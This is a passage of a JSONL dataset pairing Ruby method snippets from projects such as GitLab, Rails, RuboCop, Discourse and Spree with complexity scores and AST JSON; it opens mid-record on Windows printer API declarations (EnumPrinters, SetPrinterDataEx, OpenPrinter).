"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Level\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pDriverInfo\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"cbBuf\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pcbNeeded\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pcReturned\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"EnumPrintersA\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Flags\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PCHAR\"]},{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Level\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pPrinterEnum\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"cbBuf\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pcbNeeded\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pcReturned\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"EnumPrintersW\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Flags\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Level\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pPrinterEnum\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"cbBuf\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pcbNeeded\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pcReturned\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"SetPrinterDataExA\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HANDLE\"]},{\"type\":\"str\",\"children\":[\"hPrinter\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PCHAR\"]},{\"type\":\"str\",\"children\":[\"pKeyName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PCHAR\"]},{\"type\":\"str\",\"children\":[\"pValueName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pData\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"cbData\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"SetPrinterDataExW\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HANDLE\"]},{\"type\":\"str\",\"children\":[\"hPrinter\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"pKeyName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"pValueName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pData\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"cbData\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"OpenPrinterA\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PCHAR\"]},{\"type\":\"str\",\"children\":[\"pPrinterName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"phPrinter\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pDefault\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"OpenPrinterW\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"pPrinterName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"phPrinter\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pDefault\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]}]}]}]}","id":"0ab8459e-2abb-4e15-b8c4-a14fa01734ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":587,"raw_source":"def lookup(sha)\n    strong_memoize(\"lookup_#{sha}\") do\n      raw_repository.lookup(sha)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sha\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"lookup_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_repository\"]},\"lookup\",{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]}]}","id":"3425a0bb-a2a6-43a6-95ad-922352e41880"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/build_kubernetes_namespace_service.rb","start_line":12,"raw_source":"def execute\n      cluster.kubernetes_namespaces.build(attributes)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"kubernetes_namespaces\"]},\"build\",{\"type\":\"send\",\"children\":[null,\"attributes\"]}]}]}","id":"05d8cc78-736c-445a-9fa2-df5a1911e72d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_style.rb","start_line":82,"raw_source":"def autocorrect_lambda_for_spaces(corrector, range)\n          corrector.replace(range, range.source.gsub(/\\A\\s+/) do |match|\n            \"\\t\" * (match.size / configured_indentation_width)\n          end)\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_lambda_for_spaces\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"size\"]},\"/\",{\"type\":\"send\",\"children\":[null,\"configured_indentation_width\"]}]}]}]}]}]}]}","id":"4c9093a5-ea14-48eb-ba4e-484c125ab72b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/badge_granter.rb","start_line":539,"raw_source":"def self.notification_locale(locale)\n    use_default_locale = !SiteSetting.allow_user_locale || locale.blank?\n    use_default_locale ? SiteSetting.default_locale : locale\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"notification_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"use_default_locale\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"allow_user_locale\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]},\"blank?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_default_locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]}","id":"8b750165-7b7c-4129-8a01-2ac37f0f3c22"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/seeders/ci/catalog/resource_seeder.rb","start_line":87,"raw_source":"def create_catalog_resource(project)\n            result = ::Ci::Catalog::Resources::CreateService.new(project, @current_user).execute\n            if result.success?\n              result.payload\n            else\n              warn \"Catalog resource could not be created for Project '#{project.name}': #{result.errors.join}\"\n              nil\n            end\n          end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_catalog_resource\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Catalog\"]},\"Resources\"]},\"CreateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"payload\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Catalog resource could not be created for Project '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"': \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"join\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"fed6d65b-57c0-45ac-9576-d0aff6a8d0fc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/wiki_controller.rb","start_line":222,"raw_source":"def wiki_root_menu_items\n    MenuItems::WikiMenuItem\n      .main_items(@wiki.id)\n      .map { |it| OpenStruct.new name: it.name, caption: it.title, item: it }\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_root_menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MenuItems\"]},\"WikiMenuItem\"]},\"main_items\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wiki\"]},\"id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"it\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"it\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"it\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item\"]},{\"type\":\"lvar\",\"children\":[\"it\"]}]}]}]}]}]}","id":"ebe21c2a-46c8-40a0-b4a4-37bd8855b1f7"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/rake_test.rb","start_line":300,"raw_source":"def test_rake_clear_schema_cache\n      rails \"db:schema:cache:dump\", \"db:schema:cache:clear\"\n      assert_not File.exist?(File.join(app_path, \"db\", \"schema_cache.yml\"))\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rake_clear_schema_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"db:schema:cache:dump\"]},{\"type\":\"str\",\"children\":[\"db:schema:cache:clear\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"app_path\"]},{\"type\":\"str\",\"children\":[\"db\"]},{\"type\":\"str\",\"children\":[\"schema_cache.yml\"]}]}]}]}]}]}","id":"a04cfe0d-d95b-4cab-b98e-d620ad8c3052"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/drafts_menu.rb","start_line":32,"raw_source":"def has_view_all_link?\n        has_css?(MENU_SELECTOR + \"-content .view-all-drafts\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_view_all_link?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MENU_SELECTOR\"]},\"+\",{\"type\":\"str\",\"children\":[\"-content .view-all-drafts\"]}]}]}]}","id":"602dff1c-38ef-4b57-a032-acc94ad61007"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/sed.rb","start_line":13,"raw_source":"def self.analyze_text(text)\n        return 1 if text.shebang? 'sed'\n      end","complexity_score":2.28,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"analyze_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"shebang?\",{\"type\":\"str\",\"children\":[\"sed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},null]}]}","id":"2d1658de-e636-4ab7-b505-f730a6d53c03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/atomic_internal_id.rb","start_line":254,"raw_source":"def internal_id_read_scope(scope)\n    association(scope).reader\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"internal_id_read_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},\"reader\"]}]}","id":"f2b51467-c731-4740-93da-765874478230"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/requests/api/graphql/issue_list_shared_examples.rb","start_line":863,"raw_source":"def issues_data\n    graphql_data.dig(*issue_nodes_path)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"issues_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_data\"]},\"dig\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_nodes_path\"]}]}]}]}","id":"72884018-cfe9-4529-a918-8e50b3dbfc36"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/list/convert_table.rb","start_line":278,"raw_source":"def sequences_owned_by(table_name)\n            sequence_data = connection.exec_query(<<~SQL, nil, [table_name])\n              SELECT seq_pg_class.relname AS seq_name,\n                     dep_pg_class.relname AS table_name,\n                     pg_attribute.attname AS col_name\n              FROM pg_class seq_pg_class\n                   INNER JOIN pg_depend ON seq_pg_class.oid = pg_depend.objid\n                   INNER JOIN pg_class dep_pg_class ON pg_depend.refobjid = dep_pg_class.oid\n                   INNER JOIN pg_attribute ON dep_pg_class.oid = pg_attribute.attrelid\n                                           AND pg_depend.refobjsubid = pg_attribute.attnum\n              WHERE pg_depend.classid = 'pg_class'::regclass\n                AND pg_depend.refclassid = 'pg_class'::regclass\n                AND seq_pg_class.relkind = 'S'\n                AND dep_pg_class.relname = $1\n            SQL\n\n            sequence_data.map do |seq_info|\n              name, column_name = seq_info.values_at('seq_name', 'col_name')\n              { name: name, column_name: column_name }\n            end\n          end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sequences_owned_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sequence_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"exec_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT seq_pg_class.relname AS seq_name,\\n\"]},{\"type\":\"str\",\"children\":[\"       dep_pg_class.relname AS table_name,\\n\"]},{\"type\":\"str\",\"children\":[\"       pg_attribute.attname AS col_name\\n\"]},{\"type\":\"str\",\"children\":[\"FROM pg_class seq_pg_class\\n\"]},{\"type\":\"str\",\"children\":[\"     INNER JOIN pg_depend ON seq_pg_class.oid = pg_depend.objid\\n\"]},{\"type\":\"str\",\"children\":[\"     INNER JOIN pg_class dep_pg_class ON pg_depend.refobjid = dep_pg_class.oid\\n\"]},{\"type\":\"str\",\"children\":[\"     INNER JOIN pg_attribute ON dep_pg_class.oid = pg_attribute.attrelid\\n\"]},{\"type\":\"str\",\"children\":[\"                             AND pg_depend.refobjsubid = pg_attribute.attnum\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE pg_depend.classid = 'pg_class'::regclass\\n\"]},{\"type\":\"str\",\"children\":[\"  AND pg_depend.refclassid = 'pg_class'::regclass\\n\"]},{\"type\":\"str\",\"children\":[\"  AND seq_pg_class.relkind = 'S'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND dep_pg_class.relname = $1\\n\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sequence_data\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seq_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"column_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seq_info\"]},\"values_at\",{\"type\":\"str\",\"children\":[\"seq_name\"]},{\"type\":\"str\",\"children\":[\"col_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]}]}]}]}","id":"9952054f-aa58-4f83-ab27-09fece72266e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":62,"raw_source":"def note_merge_request_email_for_diff_discussion\n    note_email(:note_merge_request_email) do\n      note = <<-MD.strip_heredoc\n        This is a new discussion on a merge request :smiley:\n\n        In this notification email, we expect to see:\n\n        - A line saying who started this discussion and on what file\n        - The diff\n        - The note contents (that's what you're looking at)\n        - A link to view this discussion on GitLab\n        - An explanation for why the user is receiving this notification\n      MD\n\n      position = Gitlab::Diff::Position.new(\n        old_path: \"files/ruby/popen.rb\",\n        new_path: \"files/ruby/popen.rb\",\n        old_line: nil,\n        new_line: 14,\n        diff_refs: merge_request.diff_refs\n      )\n\n      create_note(\n        noteable_type: 'merge_request',\n        noteable_id: merge_request.id,\n        type: 'DiffNote',\n        position: position,\n        note: note\n      )\n    end\n  end","complexity_score":14.35,"ast_json":"{\"type\":\"def\",\"children\":[\"note_merge_request_email_for_diff_discussion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note_email\",{\"type\":\"sym\",\"children\":[\"note_merge_request_email\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        This is a new discussion on a merge request :smiley:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        In this notification email, we expect to see:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        - A line saying who started this discussion and on what file\\n\"]},{\"type\":\"str\",\"children\":[\"        - The diff\\n\"]},{\"type\":\"str\",\"children\":[\"        - The note contents (that's what you're looking at)\\n\"]},{\"type\":\"str\",\"children\":[\"        - A link to view this discussion on GitLab\\n\"]},{\"type\":\"str\",\"children\":[\"        - An explanation for why the user is receiving this notification\\n\"]}]},\"strip_heredoc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"position\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Diff\"]},\"Position\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_path\"]},{\"type\":\"str\",\"children\":[\"files/ruby/popen.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"str\",\"children\":[\"files/ruby/popen.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_line\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_line\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"diff_refs\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable_type\"]},{\"type\":\"str\",\"children\":[\"merge_request\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"DiffNote\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"position\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"lvar\",\"children\":[\"note\"]}]}]}]}]}]}]}","id":"3af233b2-da75-4024-9ac5-52e48f426ca6"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/addresses_controller.rb","start_line":77,"raw_source":"def collection_url\n        if @address.user.present?\n          spree.admin_user_url(@address.user)\n        else\n          spree.admin_users_url\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@address\"]},\"user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"admin_user_url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@address\"]},\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"admin_users_url\"]}]}]}","id":"4b78f384-9428-4762-8cec-8c4c62dde0a4"}
